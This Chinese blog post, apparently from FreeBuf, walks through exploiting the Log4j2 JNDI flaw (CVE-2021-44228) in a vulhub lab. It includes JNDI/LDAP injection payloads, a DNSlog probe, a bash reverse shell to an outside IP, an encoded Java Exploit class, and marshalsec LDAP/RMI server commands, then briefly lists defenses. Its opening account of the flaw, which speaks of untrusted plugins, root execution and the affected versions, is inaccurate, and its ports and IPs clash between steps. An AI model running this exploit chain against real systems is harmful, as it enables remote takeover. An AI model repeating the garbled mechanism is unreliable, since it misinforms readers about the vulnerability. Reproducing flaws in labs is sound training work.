freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

log4j2远程代码执行漏洞
2023-09-10 23:54:16

log4j2漏洞原理?

CVE-2021-44228,简称:log4j2,利用漏洞可以执行任意命令。该漏洞影响所有 log4j2 受影响的版本,包括 2.x 到 2.15.0。这个漏洞利用了一个缺陷,允许攻击者以 root 权限执行任意命令。log4j2 的核心代码存在一个漏洞,导致它在加载插件时未正确验证插件是否来自受信任的来源。这使得攻击者可以通过构建恶意插件来绕过信任检查,从而执行任意命令。

Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,启动一个JNDI服务,通过rmi,在rmi的工厂中注册一个恶意实例,使用lookup远程加载导致RCE
${jndi:ldap://log4j.voxxaq.dnslog.cn}
特征:${jndi:rmi
判断主机,一定会有一个RMI的恶意流量
无回显的时候如何判断攻击成功:看看主机是否加载恶意类,看看受害主机有没有回连恶意地址

解决方案:

升级到最新版
在防火墙设置中,禁止应用服务访问常规应用以外的ip地址
其他版本,删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

环境 & 工具

环境:kali + docker 部署 vulhub靶场

复现:jdk 1.8 + python + marshalsec

http://www.dnslog.cn #dnslog检测
https://ares-x.com/tools/runtime-exec  #可以对命令进行编写

环境搭建:

进入vulhub 靶场 找到log4j2目录

image-20230910202729819

启动docker

docker-compose up –d

image-20230910202936084

访问查看

image-20230910203031681

没问题

dnslog测试漏洞:

进入:

http://www.dnslog.cn   #生成个接受的链接

image-20230910203515124

测试注入点:

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3avw73.dnslog.cn} 
#验证漏洞并查看java版本

image-20230910203759381

ok 接着查看 dnsl平台 刷新一下

image-20230910203904867

发现有 回显 并且包含jdk 1.8

测试完成!开始漏洞利用

反弹shell

反弹shell 由于前面我们测试过了 可以通以ldap即我们可以通过远程类加载实现反弹shell

bash -i >& /dev/tcp/43.140.204.207/6666 0>&1 #6666为端口号

进行base编码

https://ares-x.com/tools/runtime-exec #这个貌似需要梯子

这个图片有一点点问题哪个端头是7777

image-20230910204943980

写 Exploit

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDAuMjA0LjIwNy83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}
javac Exploit.java   #生成class文件

启动httpf服务: 生成 .class 目录下

python -m http.server 1234

image-20230910205555360

image-20230910230201463

发现是有这两个文件的 然后 我们以这个http起一个 LDAP服务

起这个服务需用到:marshalse

marshalsec使用教程

cd marshalsec/target/ #进入这个目录
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/test#Exploit  3333  RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/test#Exploit  3333   LDAP服务
//http://127.0.0.1:80 指http服务地址,Exploit代表Exploit.class文件 3333 指rmi/ldap服务的端口 

先进入

image-20230910231142399

启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://172.24.56.44:1234/#Exploit" 1203

image-20230910232020665

然后将自己起攻击的服务器开始监听该端口

image-20230910232824033

ok 开始打playload

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://172.24.45.44:1203/Exploit}
#这个是get传参不用管了 直接回车就行 没必要抓包

image-20230910234034678

成功反弹shell并有root权限

再看一下 http 和LDAP服务

image-20230910234203576

image-20230910234152462

看到两个同时响应

至此 log4j2漏洞复现 完成

总结

总结一下: log4j2漏洞刚出现时可谓是危害嘎嘎大 不过现在也感觉以后找工作像这种 可能也是HR必问项吧

防御:这个应该说比较简单开头也提了 一些 禁止陌生ip 上WAF 对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截 。。。及时更新版本 。。。

# 网络安全 # web安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录